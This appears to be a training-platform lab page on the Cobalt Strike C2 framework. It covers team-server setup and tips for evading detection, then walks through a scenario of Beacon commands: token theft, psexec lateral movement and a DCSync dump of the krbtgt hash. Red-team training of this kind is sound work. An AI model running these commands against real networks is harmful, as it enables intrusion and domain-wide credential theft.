Back to Labs
premium

Cobalt Strike C2

The gold-standard adversary simulation & Beacon C2 platform for red teams.

Official Source

Lab Overview

Cobalt Strike is the commercial command-and-control framework that effectively defined modern red teaming. At its heart sits Beacon, a flexible post-exploitation implant that speaks HTTP, HTTPS, DNS, or SMB named pipes and sleeps between check-ins to blend into normal traffic. Its real superpower is Malleable C2 — a profile language that lets you reshape Beacon's network indicators and in-memory footprint to impersonate legitimate software. In this lab you'll stand up a Team Server, sculpt a Malleable profile, and run a full intrusion chain from initial access to domain dominance.

Learning Objectives

  • 1Stand up a Team Server and connect multiple operators
  • 2Craft a Malleable C2 profile to mask Beacon network and memory artifacts
  • 3Execute lateral movement and Kerberos attacks through Beacon
  • 4Pivot via SMB named-pipe Beacons into segmented networks

Ensure you have a stable VPN connection before launching. The instance will automatically terminate after the allotted duration or upon manual shutdown.

Why Choose This Tool?

Cobalt Strike's edge is operational flexibility. Malleable C2 lets you rewrite nearly every observable — JA3/S hash, HTTP headers, even the bytes Beacon leaves in memory — so a single toolkit can impersonate Slack on one engagement and a Windows Update channel on the next. Beacon's asynchronous, low-and-slow check-ins plus peer-to-peer SMB/TCP links make it ideal for navigating segmented enterprise networks where a chatty implant would be flagged instantly.

Pros

  • •Malleable C2 profiles give granular control over network and in-memory indicators
  • •Mature collaborative multi-operator workflow with shared sessions and logging
  • •Rich built-in post-exploitation: token theft, pivoting, and lateral movement
  • •Beacon Object Files (BOFs) add capabilities in-process without spawning noisy children

Cons

  • •Default stagers and the 'rundll32 with no args' spawnto are heavily signatured by CrowdStrike, Defender for Endpoint, and Elastic
  • •Named-pipe lateral movement creates predictable pipe names (e.g. msagent_##) that Sysmon Event ID 17/18 flag
  • •Default Malleable profiles and self-signed certs are fingerprinted by published JA3/S and Suricata rules
  • •Commercial licensing (~$3,540/user/yr) plus watermarked binaries make leak-tracking and attribution easy for defenders

Installation

Cobalt Strike is a licensed commercial product — you build it from the distributed archive. It requires Java 11+.

bash
# Extract the licensed distribution and verify your JDK$ tar -xzf cobaltstrike-dist.tgz && cd cobaltstrike$ java -versionopenjdk version "11.0.21" 2023-10-17 # Launch the Team Server on your redirector/VPS (host IP, shared password, profile)$ sudo ./teamserver 10.10.14.7 'S3cr3tTeamP@ss' c2.profile[*] Generating X509 certificate and private key...[+] Team server is up on 0.0.0.0:50050[+] SHA256 hash of SSL cert is: 5f2e9b1c...c9a1

Connect the operator GUI with ./cobaltstrike, then point it at host 10.10.14.7, port 50050, and the team password.

How to Use

Mission: A phishing payload gave you a Beacon on a finance workstation (10.10.10.25) inside corp.local. Your objective: escalate to Domain Admin on win-dc01.corp.local while staying under the SOC's radar.

bash
# 1. Slow the Beacon down — 30s sleep with 40% jitter to blend inbeacon> sleep 30 40[+] host called home, sent: 16 bytes # 2. Inventory the host and map the domainbeacon> getuid[*] You are CORP\j.doe (not elevated) beacon> execute-assembly /opt/tools/SharpHound.exe -c All[*] Tasked beacon to run SharpHound[+] received output: 142 KB collected, 3 paths to Domain Admin found # 3. Steal a cached service-account token and pivot to the DC over SMBbeacon> steal_token 4216[+] Impersonated CORP\svc_backup beacon> jump psexec64 win-dc01.corp.local smb[*] Tasked beacon to run service EXE on win-dc01.corp.local via SMB[+] established link to child beacon: 10.10.10.10 # 4. New SMB Beacon on the Domain Controller — pull the crown jewelsbeacon> dcsync corp.local CORP\krbtgt[*] Tasked beacon to run DCSync for CORP\krbtgt[+] received output:    Object RDN : krbtgt    Hash NTLM  : 5f4dcc3b5aa765d61d8327deb882cf99[SUCCESS] krbtgt hash recovered — Golden Ticket ready

Flag breakdown: sleep <seconds> <jitter%> tunes call-home cadence; steal_token <PID> impersonates another process's token; jump psexec64 <host> <listener> performs SMB lateral movement to a peer Beacon; dcsync replicates secrets like a rogue Domain Controller.